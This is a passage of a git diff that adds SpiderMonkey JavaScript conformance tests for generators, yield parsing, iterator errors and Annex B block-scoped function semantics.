+];
+
+function createIterable(v) {
+ var iterable = {};
+ iterable[Symbol.iterator] = function () {
+ return {
+ next: function () {
+ return v;
+ }
+ };
+ };
+ return iterable;
+}
+
+function f() {
+}
+
+for (var nonobj of nonobjs) {
+ var iterable = createIterable(nonobj);
+
+ assertThrowsInstanceOf(() => [...iterable], TypeError);
+ assertThrowsInstanceOf(() => f(...iterable), TypeError);
+
+ assertThrowsInstanceOf(() => { for (var x of iterable) {} }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ var [a] = iterable;
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ var [...a] = iterable;
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => Array.from(iterable), TypeError);
+ assertThrowsInstanceOf(() => new Map(iterable), TypeError);
+ assertThrowsInstanceOf(() => new Set(iterable), TypeError);
+ assertThrowsInstanceOf(() => new WeakMap(iterable), TypeError);
+ assertThrowsInstanceOf(() => new WeakSet(iterable), TypeError);
+ // FIXME: bug 1232266
+ // assertThrowsInstanceOf(() => new Int8Array(iterable), TypeError);
+ assertThrowsInstanceOf(() => Int8Array.from(iterable), TypeError);
+
+ assertThrowsInstanceOf(() => {
+ var g = function*() {
+ yield* iterable;
+ };
+ var v = g();
+ v.next();
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/objects.js b/js/src/tests/ecma_6/Generators/objects.js
new file mode 100644
index 000000000..1ffdf48fa
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/objects.js
@@ -0,0 +1,49 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-objects.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-objects.js
+
+// Test aspects of the generator runtime.
+
+// Test the properties and prototype of a generator object.
+function TestGeneratorObject() {
+ function* g() { yield 1; }
+
+ var iter = g();
+ assertEq(Object.getPrototypeOf(iter), g.prototype);
+ assertTrue(iter instanceof g);
+ assertEq(String(iter), "[object Generator]");
+ assertDeepEq(Object.getOwnPropertyNames(iter), []);
+ assertNotEq(g(), iter);
+}
+TestGeneratorObject();
+
+
+// Test the methods of generator objects.
+function TestGeneratorObjectMethods() {
+ function* g() { yield 1; }
+ var iter = g();
+
+ assertEq(iter.next.length, 1);
+ assertEq(iter.return.length, 1);
+ assertEq(iter.throw.length, 1);
+
+ function TestNonGenerator(non_generator) {
+ assertThrowsInstanceOf(function() { iter.next.call(non_generator); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.next.call(non_generator, 1); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.return.call(non_generator, 1); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.throw.call(non_generator, 1); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.close.call(non_generator); }, TypeError);
+ }
+
+ TestNonGenerator(1);
+ TestNonGenerator({});
+ TestNonGenerator(function(){});
+ TestNonGenerator(g);
+ TestNonGenerator(g.prototype);
+}
+TestGeneratorObjectMethods();
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/return-finally.js b/js/src/tests/ecma_6/Generators/return-finally.js
new file mode 100644
index 000000000..9e4c6c8f3
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/return-finally.js
@@ -0,0 +1,309 @@
+var BUGNUMBER = 1202134;
+var summary = "Return value should not be overwritten by finally block with normal execution.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== single ====
+
+var f, g, v;
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ return 43;
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is throw
+ try {
+ return 42;
+ } finally {
+ throw 43;
+ }
+};
+var caught = false;
+g = f();
+try {
+ v = g.next();
+} catch (e) {
+ assertEq(e, 43);
+ caught = true;
+}
+assertEq(caught, true);
+
+f = function*() {
+ // F.[[type]] is break
+ do try {
+ return 42;
+ } finally {
+ break;
+ } while (false);
+ return 43;
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is break
+ L: try {
+ return 42;
+ } finally {
+ break L;
+ }
+ return 43;
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is continue
+ do try {
+ return 42;
+ } finally {
+ continue;
+ } while (false);
+ return 43;
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+// ==== nested ====
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ L: try {
+ return 43;
+ } finally {
+ break L;
+ }
+ }
+}
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is continue
+ do try {
+ return 43;
+ } finally {
+ continue;
+ } while (0);
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is normal
+ try {
+ // F.[[type]] is throw
+ try {
+ return 43;
+ } finally {
+ throw 9;
+ }
+ } catch (e) {
+ }
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is return
+ try {
+ return 41;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+// ==== with yield ====
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ yield 43;
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+// ==== throw() ====
+
+f = function*() {
+ // F.[[type]] is throw
+ try {
+ return 42;
+ } finally {
+ yield 43;
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+try {
+ v = g.throw(44);
+} catch (e) {
+ assertEq(e, 44);
+ caught = true;
+}
+assertEq(caught, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is throw
+ try {
+ yield 43;
+ } catch (e) {
+ }
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+v = g.throw(44);
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+// ==== return() ====
+
+f = function*() {
+ // F.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ yield 43;
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+v = g.return(44);
+assertEq(v.value, 44);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ yield 42;
+ } finally {
+ // F.[[type]] is continue
+ do try {
+ return 43;
+ } finally {
+ continue;
+ } while (0);
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, false);
+v = g.return(44);
+assertEq(v.value, 44);
+assertEq(v.done, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/runtime.js b/js/src/tests/ecma_6/Generators/runtime.js
new file mode 100644
index 000000000..c4d3bb6a6
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/runtime.js
@@ -0,0 +1,132 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-runtime.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-runtime.js
+
+// Test aspects of the generator runtime.
+
+// See http://people.mozilla.org/~jorendorff/es6-draft.html#sec-15.19.3.
+
+function assertSyntaxError(str) {
+ assertThrowsInstanceOf(Function(str), SyntaxError);
+}
+
+
+function f() { }
+function* g() { yield 1; }
+var GeneratorFunctionPrototype = Object.getPrototypeOf(g);
+var GeneratorFunction = GeneratorFunctionPrototype.constructor;
+var GeneratorObjectPrototype = GeneratorFunctionPrototype.prototype;
+
+
+// A generator function should have the same set of properties as any
+// other function.
+function TestGeneratorFunctionInstance() {
+ var f_own_property_names = Object.getOwnPropertyNames(f);
+ var g_own_property_names = Object.getOwnPropertyNames(g);
+
+ f_own_property_names.sort();
+ g_own_property_names.sort();
+
+ assertDeepEq(f_own_property_names, g_own_property_names);
+ var i;
+ for (i = 0; i < f_own_property_names.length; i++) {
+ var prop = f_own_property_names[i];
+ var f_desc = Object.getOwnPropertyDescriptor(f, prop);
+ var g_desc = Object.getOwnPropertyDescriptor(g, prop);
+ assertEq(f_desc.configurable, g_desc.configurable, prop);
+ assertEq(f_desc.writable, g_desc.writable, prop);
+ assertEq(f_desc.enumerable, g_desc.enumerable, prop);
+ }
+}
+TestGeneratorFunctionInstance();
+
+
+// Generators have an additional object interposed in the chain between
+// themselves and Function.prototype.
+function TestGeneratorFunctionPrototype() {
+ // Sanity check.
+ assertEq(Object.getPrototypeOf(f), Function.prototype);
+ assertNotEq(GeneratorFunctionPrototype, Function.prototype);
+ assertEq(Object.getPrototypeOf(GeneratorFunctionPrototype),
+ Function.prototype);
+ assertEq(Object.getPrototypeOf(function* () {}),
+ GeneratorFunctionPrototype);
+}
+TestGeneratorFunctionPrototype();
+
+
+// Functions that we associate with generator objects are actually defined by
+// a common prototype.
+function TestGeneratorObjectPrototype() {
+ // %GeneratorPrototype% must inherit from %IteratorPrototype%.
+ var iterProto = Object.getPrototypeOf(Object.getPrototypeOf([][Symbol.iterator]()));
+ assertEq(Object.getPrototypeOf(GeneratorObjectPrototype),
+ iterProto);
+ assertEq(Object.getPrototypeOf((function*(){yield 1}).prototype),
+ GeneratorObjectPrototype);
+
+ var expected_property_names = ["next", "return", "throw", "constructor"];
+ var found_property_names =
+ Object.getOwnPropertyNames(GeneratorObjectPrototype);
+
+ expected_property_names.sort();
+ found_property_names.sort();
+
+ assertDeepEq(found_property_names, expected_property_names);
+ assertDeepEq(Object.getOwnPropertySymbols(GeneratorObjectPrototype), [Symbol.toStringTag]);
+}
+TestGeneratorObjectPrototype();
+
+
+// This tests the object that would be called "GeneratorFunction", if it were
+// like "Function".
+function TestGeneratorFunction() {
+ assertEq(GeneratorFunctionPrototype, GeneratorFunction.prototype);
+ assertTrue(g instanceof GeneratorFunction);
+
+ assertEq(Function, Object.getPrototypeOf(GeneratorFunction));
+ assertTrue(g instanceof Function);
+
+ assertEq("function* g() { yield 1; }", g.toString());
+
+ // Not all functions are generators.
+ assertTrue(f instanceof Function); // Sanity check.
+ assertFalse(f instanceof GeneratorFunction);
+
+ assertTrue((new GeneratorFunction()) instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction() instanceof GeneratorFunction);
+
+ assertTrue(GeneratorFunction('yield 1') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('return 1') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('a', 'yield a') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('a', 'return a') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('a', 'return a') instanceof GeneratorFunction);
+ assertSyntaxError("GeneratorFunction('yield', 'return yield')");
+ assertTrue(GeneratorFunction('with (x) return foo;') instanceof GeneratorFunction);
+ assertSyntaxError("GeneratorFunction('\"use strict\"; with (x) return foo;')");
+
+ // Doesn't matter particularly what string gets serialized, as long
+ // as it contains "function*" and "yield 10".
+ assertEq(GeneratorFunction('yield 10').toString(),
+ "function* anonymous() {\nyield 10\n}");
+}
+TestGeneratorFunction();
+
+
+function TestPerGeneratorPrototype() {
+ assertNotEq((function*(){}).prototype, (function*(){}).prototype);
+ assertNotEq((function*(){}).prototype, g.prototype);
+ assertEq(typeof GeneratorFunctionPrototype, "object");
+ assertEq(g.prototype.__proto__.constructor, GeneratorFunctionPrototype, "object");
+ assertEq(Object.getPrototypeOf(g.prototype), GeneratorObjectPrototype);
+ assertFalse(g.prototype instanceof Function);
+ assertEq(typeof (g.prototype), "object");
+
+ assertDeepEq(Object.getOwnPropertyNames(g.prototype), []);
+}
+TestPerGeneratorPrototype();
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/shell.js b/js/src/tests/ecma_6/Generators/shell.js
new file mode 100644
index 000000000..db15c606c
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/shell.js
@@ -0,0 +1,17 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function assertFalse(a) { assertEq(a, false) }
+function assertTrue(a) { assertEq(a, true) }
+function assertNotEq(found, not_expected) { assertFalse(found === expected) }
+function assertIteratorResult(result, value, done) {
+ assertDeepEq(result.value, value);
+ assertEq(result.done, done);
+}
+function assertIteratorNext(iter, value) {
+ assertIteratorResult(iter.next(), value, false);
+}
+function assertIteratorDone(iter, value) {
+ assertIteratorResult(iter.next(), value, true);
+}
diff --git a/js/src/tests/ecma_6/Generators/syntax.js b/js/src/tests/ecma_6/Generators/syntax.js
new file mode 100644
index 000000000..b2fec3bcc
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/syntax.js
@@ -0,0 +1,140 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-parsing.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-parsing.js
+
+function assertSyntaxError(str) {
+ var msg;
+ var evil = eval;
+ try {
+ // Non-direct eval.
+ evil(str);
+ } catch (exc) {
+ if (exc instanceof SyntaxError)
+ return;
+ msg = "Assertion failed: expected SyntaxError, got " + exc;
+ }
+ if (msg === undefined)
+ msg = "Assertion failed: expected SyntaxError, but no exception thrown";
+ throw new Error(msg + " - " + str);
+}
+
+// Yield statements.
+function* g() { yield 3; yield 4; }
+
+// Yield expressions.
+function* g() { (yield 3) + (yield 4); }
+
+// Yield without a RHS.
+function* g() { yield; }
+function* g() { yield }
+function* g() {
+ yield
+}
+function* g() { (yield) }
+function* g() { [yield] }
+function* g() { {yield} }
+function* g() { (yield), (yield) }
+function* g() { yield; yield }
+function* g() { (yield) ? yield : yield }
+function* g() {
+ (yield)
+ ? yield
+ : yield
+}
+
+// If yield has a RHS, it needs to start on the same line. The * in a
+// yield* counts as starting the RHS.
+function* g() {
+ yield *
+ foo
+}
+assertThrows("function* g() { yield\n* foo }", SyntaxError);
+assertIteratorNext(function*(){
+ yield
+ 3
+ }(), undefined)
+
+// A YieldExpression is not a LogicalORExpression.
+assertThrows("function* g() { yield ? yield : yield }", SyntaxError);
+
+// You can have a generator in strict mode.
+function* g() { "use strict"; yield 3; yield 4; }
+
+// Generators can have return statements also, which internally parse to a kind
+// of yield expression.
+function* g() { yield 1; return; }
+function* g() { yield 1; return 2; }
+function* g() { yield 1; return 2; yield "dead"; }
+
+// Generator expression.
+(function* () { yield 3; });
+
+// Named generator expression.
+(function* g() { yield 3; });
+
+// Generators do not have to contain yield expressions.
+function* g() { }
+
+// YieldExpressions can occur in the RHS of a YieldExpression.
+function* g() { yield yield 1; }
+function* g() { yield 3 + (yield 4); }
+
+// Generator definitions with a name of "yield" are not specifically ruled out
+// by the spec, as the `yield' name is outside the generator itself. However,
+// in strict-mode, "yield" is an invalid identifier.
+function* yield() { (yield 3) + (yield 4); }
+assertSyntaxError("function* yield() { 'use strict'; (yield 3) + (yield 4); }");
+
+// In classic mode, yield is a normal identifier, outside of generators.
+function yield(yield) { yield: yield (yield + yield (0)); }
+
+// Yield is always valid as a key in an object literal.
+({ yield: 1 });
+function* g() { yield ({ yield: 1 }) }
+function* g() { yield ({ get yield() { return 1; }}) }
+
+// Yield is a valid property name.
+function* g(obj) { yield obj.yield; }
+
+// Checks that yield is a valid label in classic mode, but not valid in a strict
+// mode or in generators.
+function f() { yield: 1 }
+assertSyntaxError("function f() { 'use strict'; yield: 1 }")
+assertSyntaxError("function* g() { yield: 1 }")
+
+// Yield is only a keyword in the body of the generator, not in nested
+// functions.
+function* g() { function f(yield) { yield (yield + yield (0)); } }
+
+// Yield in a generator is not an identifier.
+assertSyntaxError("function* g() { yield = 10; }");
+
+// Yield binds very loosely, so this parses as "yield (3 + yield 4)", which is
+// invalid.
+assertSyntaxError("function* g() { yield 3 + yield 4; }");
+
+// Yield is still a future-reserved-word in strict mode
+assertSyntaxError("function f() { 'use strict'; var yield = 13; }");
+
+// The name of the NFE isn't let-bound in F/G, so this is valid.
+function f() { (function yield() {}); }
+function* g() { (function yield() {}); }
+
+// The name of the NFE is let-bound in the function/generator expression, so this is invalid.
+assertSyntaxError("function f() { (function* yield() {}); }");
+assertSyntaxError("function* g() { (function* yield() {}); }");
+
+// The name of the declaration is let-bound in F, so this is valid.
+function f() { function yield() {} }
+function f() { function* yield() {} }
+
+// The name of the declaration is let-bound in G, so this is invalid.
+assertSyntaxError("function* g() { function yield() {} }");
+assertSyntaxError("function* g() { function* yield() {} }");
+
+// In generators, yield is invalid as a formal argument name.
+assertSyntaxError("function* g(yield) { yield (10); }");
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/yield-non-regexp.js b/js/src/tests/ecma_6/Generators/yield-non-regexp.js
new file mode 100644
index 000000000..d9fbcd359
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/yield-non-regexp.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1099956;
+var summary =
+ "The token next to yield should be tokenized as non-operand if yield is " +
+ "a valid name";
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var yield = 12, a = 3, b = 6, g = 2;
+var yieldParsedAsIdentifier = false;
+
+yield /a; yieldParsedAsIdentifier = true; b/g;
+
+assertEq(yieldParsedAsIdentifier, true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/yield-star-iterator-primitive.js b/js/src/tests/ecma_6/Generators/yield-star-iterator-primitive.js
new file mode 100644
index 000000000..90d9e7578
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/yield-star-iterator-primitive.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let primitive of primitives) {
+ let obj = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ function* g() {
+ yield* obj;
+ }
+ for (let x of g()) {
+ }
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-eval.js b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-eval.js
new file mode 100644
index 000000000..9f4e4d7fe
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-eval.js
@@ -0,0 +1,51 @@
+var log = "";
+
+function f() {
+ log += g();
+ function g() { return "outer-g"; }
+
+ var o = { g: function () { return "with-g"; } };
+ with (o) {
+ // Annex B.3.3.3 says g should be set on the nearest VariableEnvironment,
+ // and so should not change o.g.
+ eval(`{
+ function g() { return "eval-g"; }
+ }`);
+ }
+
+ log += g();
+ log += o.g();
+}
+
+f();
+
+function h() {
+ eval(`
+ // Should return true, as var bindings introduced by eval are configurable.
+ log += (delete q);
+ {
+ function q() { log += "q"; }
+ // Should return false, as lexical bindings introduced by eval are not
+ // configurable.
+ log += (delete q);
+ }
+ `);
+ return q;
+}
+
+h()();
+
+function f2() {
+ // Should not throw, just simply not synthesize an Annex B var in the eval
+ // because there's an outer const.
+ eval("{ function a() {} }");
+ const a = 1;
+}
+
+function f3() {
+ // As above, but for let.
+ eval("{ function a() {} }");
+ let a;
+}
+
+reportCompare(log, "outer-geval-gwith-gtruefalseq");
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-generators.js b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-generators.js
new file mode 100644
index 000000000..dbef82bcf
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-generators.js
@@ -0,0 +1,26 @@
+// Tests by André Bargull <andrebargull@googlemail.com>
+
+// Annex B.3.3.1
+function f1() {
+ { function* g() {} }
+ assertEq(typeof g, "undefined");
+}
+f1();
+
+// Annex B.3.3.2
+{ function* g() {} }
+assertEq(typeof g, "undefined");
+
+// Annex B.3.3.3
+function f2() {
+ eval("{ function* g() {} }");
+ assertEq(typeof g, "undefined");
+}
+f2();
+
+// Annex B.3.3.3
+eval("{ function* g() {} }");
+assertEq(typeof g, "undefined");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-if.js b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-if.js
new file mode 100644
index 000000000..ce63aeeea
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-if.js
@@ -0,0 +1,42 @@
+var log = "";
+
+function f(x) {
+ if (x)
+ function g() { return "g0"; }
+ else
+ function g() { return "g1"; }
+
+ log += g();
+
+ if (x)
+ function g() { return "g2"; }
+ else {
+ }
+
+ log += g();
+
+ if (x) {
+ } else
+ function g() { return "g3"; }
+
+ log += g();
+
+ if (x)
+ function g() { return "g4"; }
+
+ log += g();
+}
+
+f(true);
+f(false);
+
+try {
+ eval(`
+ if (1)
+ l: function foo() {}
+ `);
+} catch (e) {
+ log += "e";
+}
+
+reportCompare(log, "g0g2g2g4g1g1g3g3e");
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-label.js b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-label.js
new file mode 100644
index 000000000..0fe9f45fc
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-label.js
@@ -0,0 +1,43 @@
+function expectSyntaxError(str) {
+ var threwSyntaxError;
+ try {
+ eval(str);
+ } catch (e) {
+ threwSyntaxError = e instanceof SyntaxError;
+ }
+ assertEq(threwSyntaxError, true);
+
+ try {
+ eval('"use strict";' + str);
+ } catch (e) {
+ threwSyntaxError = e instanceof SyntaxError;
+ }
+ assertEq(threwSyntaxError, true);
+}
+
+function expectSloppyPass(str) {
+ eval(str);
+
+ try {
+ eval('"use strict";' + str);
+ } catch (e) {
+ threwSyntaxError = e instanceof SyntaxError;
+ }
+ assertEq(threwSyntaxError, true);
+}
+
+expectSloppyPass(`l: function f1() {}`);
+expectSloppyPass(`l0: l: function f1() {}`);
+expectSloppyPass(`{ f1(); l: function f1() {} }`);
+expectSloppyPass(`{ f1(); l0: l: function f1() {} }`);
+expectSloppyPass(`{ f1(); l: function f1() { return 42; } } assertEq(f1(), 42);`);
+expectSloppyPass(`eval("fe(); l: function fe() {}")`);
+expectSyntaxError(`if (1) l: function f2() {}`);
+expectSyntaxError(`if (1) {} else l: function f3() {}`);
+expectSyntaxError(`do l: function f4() {} while (0)`);
+expectSyntaxError(`while (0) l: function f5() {}`);
+expectSyntaxError(`for (;;) l: function f6() {}`);
+expectSloppyPass(`switch (1) { case 1: l: function f7() {} }`);
+expectSloppyPass(`switch (1) { case 1: assertEq(f8(), 'f8'); case 2: l: function f8() { return 'f8'; } } assertEq(f8(), 'f8');`);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-property.js b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-property.js
new file mode 100644
index 000000000..a295de508
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-property.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Define a global getter without a setter.
+Object.defineProperty(this, "x", {
+ get: function () { return "get-x"; },
+ configurable: true
+});
+
+// Simulate loading a 2nd script with evaluate, else we would DEFVAR the x and
+// the above defineProperty would fail in trying to redefine a non-configurable
+// property on the global.
+evaluate(`{
+ function x() { return "fun-x"; }
+}`);
+
+// Annex B is supposed to be like an assignment. Should not blow away the
+// existing setter-less getter.
+reportCompare(x, "get-x");
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-same-name.js b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-same-name.js
new file mode 100644
index 000000000..b89f91c59
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-same-name.js
@@ -0,0 +1,7 @@
+{
+ function f() { return "inner"; }
+}
+
+function f() { return "outer"; }
+
+reportCompare(f(), "inner");
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-with.js b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-with.js
new file mode 100644
index 000000000..d9bdd98dc
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b-with.js
@@ -0,0 +1,18 @@
+var o = { f: "string-f" };
+with (o) {
+ var desc = Object.getOwnPropertyDescriptor(this, "f");
+ assertEq(desc.value, undefined);
+ assertEq(desc.writable, true);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.configurable, false);
+ function f() {
+ return "fun-f";
+ }
+}
+
+// Annex B explicitly assigns to the nearest VariableEnvironment, so the
+// with-object "o" should have its property unchanged.
+assertEq(o.f, "string-f");
+assertEq(f(), "fun-f");
+
+reportCompare(true, true)
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b.js b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b.js
new file mode 100644
index 000000000..16c40774c
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-annex-b.js
@@ -0,0 +1,31 @@
+var log = "";
+
+log += typeof f;
+
+{
+ log += f();
+
+ function f() {
+ return "f1";
+ }
+}
+
+log += f();
+
+function g() {
+ log += typeof h;
+
+ {
+ log += h();
+
+ function h() {
+ return "h1";
+ }
+ }
+
+ log += h();
+}
+
+g();
+
+reportCompare(log, "undefinedf1f1undefinedh1h1");
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-deprecated-redecl.js b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-deprecated-redecl.js
new file mode 100644
index 000000000..af32be5d3
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-deprecated-redecl.js
@@ -0,0 +1,78 @@
+{
+ assertEq(f(), 4);
+ function f() { return 3; }
+ assertEq(f(), 4);
+ function f() { return 4; }
+ assertEq(f(), 4);
+}
+
+// Annex B still works.
+assertEq(f(), 4);
+
+// The same thing with labels.
+{
+ assertEq(f(), 4);
+ function f() { return 3; }
+ assertEq(f(), 4);
+ l: function f() { return 4; }
+ assertEq(f(), 4);
+}
+
+// Annex B still works.
+assertEq(f(), 4);
+
+function test() {
+ {
+ assertEq(f(), 2);
+ function f() { return 1; }
+ assertEq(f(), 2);
+ function f() { return 2; }
+ assertEq(f(), 2);
+ }
+
+ // Annex B still works.
+ assertEq(f(), 2);
+}
+
+test();
+
+var log = '';
+
+try {
+ // Strict mode still cannot redeclare.
+ eval(`"use strict";
+ {
+ function f() { }
+ function f() { }
+ }`);
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true);
+ log += 'e';
+}
+
+try {
+ // Redeclaring an explicitly 'let'-declared binding doesn't work.
+ eval(`{
+ let x = 42;
+ function x() {}
+ }`);
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true);
+ log += 'e';
+}
+
+try {
+ // Redeclaring an explicitly 'const'-declared binding doesn't work.
+ eval(`{
+ const x = 42;
+ function x() {}
+ }`);
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true);
+ log += 'e';
+}
+
+assertEq(log, 'eee');
+
+if ('reportCompare' in this)
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-hoisted-tdz.js b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-hoisted-tdz.js
new file mode 100644
index 000000000..e5f9baf44
--- /dev/null
+++ b/js/src/tests/ecma_6/LexicalEnvironment/block-scoped-functions-hoisted-tdz.js
